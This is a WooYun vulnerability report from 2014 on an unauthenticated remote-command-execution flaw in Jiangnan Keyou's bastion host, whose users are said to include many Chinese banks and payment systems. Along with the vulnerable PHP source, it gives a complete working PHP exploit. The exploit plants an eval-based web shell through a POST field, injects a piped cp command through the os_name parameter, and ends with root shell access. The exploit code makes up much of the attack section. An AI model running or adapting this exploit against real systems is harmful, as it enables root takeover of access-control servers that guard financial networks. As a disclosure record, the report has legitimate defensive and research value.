当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(34) 关注此漏洞

缺陷编号: WooYun-2014-77033

漏洞标题: 江南科友堡垒机getshell(无需登录附poc)

相关厂商: 江南科友科技股份有限公司

漏洞作者: 路人甲

提交时间: 2014-09-25 08:42

公开时间: 2014-12-22 08:46

漏洞类型: 设计不当

危害等级: 高

自评Rank: 20

漏洞状态: 已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

3人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-25: 细节已通知厂商并且等待厂商处理中
2014-09-26: 厂商已经确认,细节仅向厂商公开
2014-09-29: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-11-20: 细节向核心白帽子及相关领域专家公开
2014-11-30: 细节向普通白帽子公开
2014-12-10: 细节向实习白帽子公开
2014-12-22: 细节向公众公开

简要描述:

由一漏洞直接getshell(已经写好poc),一键取shell。获取的webshell均为root。可导致江南科友堡垒机核心源码泄露(现已获取该核心源码)。如果其他厂商要OEM该堡垒机可参照此代码,所以本身做为安全厂商,请你穿好裤子再出来保护他人

详细说明:

接着上一旦:

http://**.**.**.**/bugs/wooyun-2014-076864

漏洞涉及客户如下:

国内各大银行:中国银行、民生银行、广东发展银行、平安银行、深圳发展银行、浦发银行、渤海银行总行及各分行、中国工商银行、中国农业银行、中国建设银行、交通银行、招商银行、中信银行、兴业银行、华夏银行、中国邮政储蓄银行总行或部分分行

中国银联:总公司及北京、广州、深圳、南京、福州、长沙、武汉、济南、青岛、沈阳、郑州、海口、天津、香港、厦门等分公司

银联数据:全国卡系统业务托管商业银行

外资银行:渣打银行、东亚银行:全国境内各个分行

外资金融机构:韩亚银行、花旗银行、通用电气、星展银行、美国第一资讯(FDC)

地方商业银行及农村信用社:40余家商业银行及农村信用社

社会保障与公共交通系统:湖北、黑龙江、广东、北京等社保卡安全系统,上海市公交一卡通安全系统,杭州市市民卡系统,长春一汽企业IC卡加密系统,宁波市民卡系统,郑州交通一卡通系统,山东一卡通系统

涉及的都是重要部门,银行及金融、证券、能源等单位。



看漏洞吧!



0x01 漏洞分析

在manager/config_SSO.php当中

此页面未做任何权限判断,导致任意用户可访问。

如图:

1.jpg



具体产生漏洞代码如下(前提是你已经获取该源码):

code 区域
if(empty($_POST['os_name']) )
{
$os_name = $os_list[0]['name'];
}
else
{
$os_name = $_POST['os_name'];
}

$Template = '/usr/local/keyou/Config/sso/'.$os_name."/T**.**.**.**f";
$TelnetLogin = '/usr/local/keyou/Config/sso/'.$os_name."/TelnetL**.**.**.**f";
$TelnetPassword = '/usr/local/keyou/Config/sso/'.$os_name."/TelnetP**.**.**.**f";
$TelnetSuccess = '/usr/local/keyou/Config/sso/'.$os_name."/TelnetS**.**.**.**f";

$SSHPassword = '/usr/local/keyou/Config/sso/'.$os_name."/SSHP**.**.**.**f";
$SSHSuccess = '/usr/local/keyou/Config/sso/'.$os_name."/SSHS**.**.**.**f";
$TermPath = '/usr/local/keyou/Config/sso/'.$os_name."/TermP**.**.**.**f";

$EnPassword = '/usr/local/keyou/Config/sso/'.$os_name."/EnP**.**.**.**f";


$TerminalChoose = '/usr/local/keyou/Config/sso/'.$os_name."/TerminalC**.**.**.**f";
$SystemPrompt = '/usr/local/keyou/Config/sso/'.$os_name."/SystemP**.**.**.**f";
$PassModeChoose = '/usr/local/keyou/Config/sso/'.$os_name."/PassModeC**.**.**.**f";

$OldPass = '/usr/local/keyou/Config/sso/'.$os_name."/OldP**.**.**.**f";
$NewPass = '/usr/local/keyou/Config/sso/'.$os_name."/NewP**.**.**.**f";
$ReNewPass = '/usr/local/keyou/Config/sso/'.$os_name."/ReNewP**.**.**.**f";
$ChangeSuccess = '/usr/local/keyou/Config/sso/'.$os_name."/ChangeS**.**.**.**f";

function WriteTo_Conf($message,$filename)
{

exec(MYSUDO."chown -R daemon:daemon /usr/local/keyou/Config/sso");
$message = str_replace("\'","'",$message);
//$$message=addslashes($message);
$message = str_replace(";","\n",$message);

if(!($handle = fopen($filename,'w'))){
//echo "不能打开文本$filename!";
return false;
}
else{
if(fwrite($handle,$message,strlen($message)) === false){
//echo "不能写入文本$filename!";
fclose($handle);
return false;
}
else{

//echo "成功写入文本$filename!"; echo "<br>";
fclose($handle);
return true;
}
}
fclose($handle);
}

function ReadFromConf($filename)
{
exec(MYSUDO."chown -R daemon:daemon /usr/local/keyou/Config/sso");
if(file_exists($filename))
{
$handle = fopen($filename,'r');
if(!filesize($filename))
{
fclose($handle);
return null;
}
$i=0;
while (!feof($handle))
{
$file_info[$i] = fgets($handle, 4096);
$i++;
}
//$contents = fread($handle,filesize($filename));
fclose($handle);
//echo "<br>";

//$file_info = explode("\n",$contents);
//print_r($file_info);
$str_info = implode(";",$file_info);
return $str_info; //返回一个数组;
}
else
{
$handle = fopen($filename,'w+');
fclose($handle);
return null;
}
}



for($i=0;$i< count($os_list);$i++)
{
if($os_list[$i]['name'] == $os_name)
{
$os_list[$i]['selected'] = 1;
$admin_passinfo = $os_list[$i]['admin_passinfo'];
}

}

if(!empty($_POST['config_flag']))
{
WriteTo_Conf($_POST['type_mode'],$Template);

WriteTo_Conf($_POST['telnet_os_login_mes'],$TelnetLogin);
WriteTo_Conf($_POST['telnet_psw_enter_mes'],$TelnetPassword);
WriteTo_Conf($_POST['telnet_login_ok_mes'],$TelnetSuccess);

WriteTo_Conf($_POST['ssh_psw_enter_mes'],$SSHPassword);
WriteTo_Conf($_POST['ssh_login_ok_mes'],$SSHSuccess);
WriteTo_Conf($_POST['xwin_order'],$TermPath);


WriteTo_Conf($_POST['TerminalChoose'],$TerminalChoose);
WriteTo_Conf($_POST['SystemPrompt'],$SystemPrompt);
WriteTo_Conf($_POST['PassModeChoose'],$PassModeChoose);

WriteTo_Conf($_POST['enter_oldpsw_mes'],$OldPass);
WriteTo_Conf($_POST['enter_newpsw_mes'],$NewPass);
WriteTo_Conf($_POST['confirm_psw_mes'],$ReNewPass);
WriteTo_Conf($_POST['confirm_psw_ok_mes'],$ChangeSuccess);

if($_POST['type_mode'] == 'cisco' || $_POST['type_mode'] == 'h3c')
{
if(empty($admin_passinfo))
{
$admin_passinfo="Password:";
}
WriteTo_Conf($admin_passinfo,$EnPassword);
}

//echo " /usr/local/keyou/Bin/GenScript ".$_POST['os_name']." ".$_POST['service_type'];echo "<br>";
exec(MYSUDO." /usr/local/keyou/Bin/GenScript ".$os_name." ssh");
exec(MYSUDO." /usr/local/keyou/Bin/GenScript ".$os_name." telnet");
write_ed();
$cl = new CommonLogo();
$cl->addLogo($account,"设备帐户管理","配置操作系统参数",$_SERVER['REMOTE_ADDR']);
$cl->close();
//echo '<script type="text/javascript">';
//echo 'alert("配置成功")';
//echo '</script>';
$error = 1;
}





我将整个产生问题的代码都贴出来了。。

分析如下:

WriteTo_Conf($_POST['type_mode'],$Template);

这里post的包可控,看看$Template变量

$Template = '/usr/local/keyou/Config/sso/'.$os_name."/T**.**.**.**f";

继续跟踪$os_name

code 区域
if(empty($_POST['os_name']) )
{
$os_name = $os_list[0]['name'];
}
else
{
$os_name = $_POST['os_name'];
}



所以只要你POST一个os_name即可可控。



思考问题1:

这样能写文件了,但是能直接写php吗? 能直接写到该堡垒机的控制端里面去吗?

不行,文件名已经限制死了,文件名为:T**.**.**.**f

所以怎么写shell???

发散思维。。

看下面的代码。

code 区域
exec(MYSUDO." /usr/local/keyou/Bin/GenScript ".$os_name." ssh");
exec(MYSUDO." /usr/local/keyou/Bin/GenScript ".$os_name." telnet");
write_ed();
$cl = new CommonLogo();





这里有个exec函数,其中$os_name可控,(虽然前面写文件会报错),但不影响它执行。。

所以这里直接一个cp 或者 mv 命令即可将我们的shell写到 堡垒机的控制端里面了。



思路如下:

1、控制好type_mode 变量以及 os_name变量, os_name这个值其实几个都是固定的,我们选取其中一个即可,我取(HP_11),触发条件为config_flag变量存在的情况。

2、通过前面第一步将我们的恶意代码写入到/usr/local/keyou/Config/sso/HP_11/T**.**.**.**f文件当中了,然后借助后面的命令执行将我们的恶意代码cp 或者 mv到控制端即可。(其中/usr/local/keyou/Config/sso/ 路径都是源码里面写死了的,顾可得知,堡垒机控制端目录也是固定的)。



所以结合上面思路,写个poc如下。

即可做到一键控制整个堡垒机了,也就可以拿到堡垒机核心源码了。 权限均为:root..

以下poc仅供测试用,非法攻击后果自负。。

code 区域
<?php
print_r('
+--------------------------------------------------------------+

江南科友 Getshell Exploit

+--------------------------------------------------------------+
');
if ($argc < 2) {
print_r('
+--------------------------------------------------------------+
Example:
php '.$argv[0].' localhost
+--------------------------------------------------------------+
');
exit;
}
$host = $argv[1];

$path = "/manager/config_SSO.php";
$url = 'https://'.$host.$path;


$data ="type_mode=5201314<?php eval(\$_POST[cmd]);?>&os_name=HP_11&config_flag=1";
$data2 ="os_name=a | cp /usr/local/keyou/Config/sso/HP_11/T**.**.**.**f /usr/local/apache2/htdocs/project/www/shell.php |&config_flag=1";
vpost($url,$data);
vpost($url,$data2);
$url2 = 'https://'.$host.'/shell.php';
$resutl_data = vpost($url2,'');
function vpost($url,$data){ // 模拟提交数据函数
$curl = curl_init();
curl_setopt ( $curl, CURLOPT_URL, $url ); //
curl_setopt ( $curl, CURLOPT_SSL_VERIFYPEER, 0 );
curl_setopt ( $curl, CURLOPT_SSL_VERIFYHOST, 0 );
curl_setopt ( $curl, CURLOPT_USERAGENT, "Mozilla/4.0" );
@curl_setopt ( $curl, CURLOPT_FOLLOWLOCATION, 1 );
curl_setopt ( $curl, CURLOPT_AUTOREFERER, 1 );
curl_setopt ( $curl, CURLOPT_POST, 1 );
curl_setopt ( $curl, CURLOPT_POSTFIELDS, $data );
curl_setopt ( $curl, CURLOPT_TIMEOUT, 120 );
curl_setopt ( $curl, CURLOPT_HEADER, 0 );
curl_setopt ( $curl, CURLOPT_RETURNTRANSFER, 1 );
$tmpInfo = curl_exec ( $curl );
if (curl_errno ( $curl )) {
echo 'Errno' . curl_error ( $curl );
}

return $tmpInfo; // 返回数据
}


if(strstr($resutl_data,"5201314") != NULL) {
print '
Shell: '.$url2.' password: cmd
';
}else {
print ' Shell is not exists';exit();
}





给个截图:

1.jpg





HNZF])P]96UT088ZXJ`)25J.jpg





所以自身是堡垒机,请穿好你的裤子

漏洞证明:

1.jpg





HNZF])P]96UT088ZXJ`)25J.jpg

修复方案:

加权限、然后对传进来的数据进行判断和过滤。。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:14

确认时间:2014-09-26 14:50

厂商回复:

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-09-23 10:53 | 付弘雪 ( 路人 | Rank:16 漏洞数:10 | 希望和业内各位大牛多多交流)
    0

    这简单描述有点吊啊

  2. 2014-09-23 11:47 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)
    0

    所以本身做为安全厂商,请你穿好裤子再出来保护他人

  3. 2014-09-23 15:04 | 坏虾 ( 路人 | Rank:28 漏洞数:8 | From Internet,For Internet……BY:坏虾)
    0

    请洞主看好水表,公司已经报案。

  4. 2014-09-23 17:31 | cuger ( 普通白帽子 | Rank:205 漏洞数:46 | 都说爱笑的人运气不会太差,废话,运气太差...)
    0

    神奇的路人甲啊,明显是同一个人,太屌了!!!!

  5. 2014-09-23 21:04 | Honker红颜 ( 普通白帽子 | Rank:157 漏洞数:53 | 皖南人士,90后宅男,自学成才,天朝教育失败....)
    1

    所以本身做为安全厂商,请你穿好裤子再出来保护他人

登录后才能发表评论,请先 登录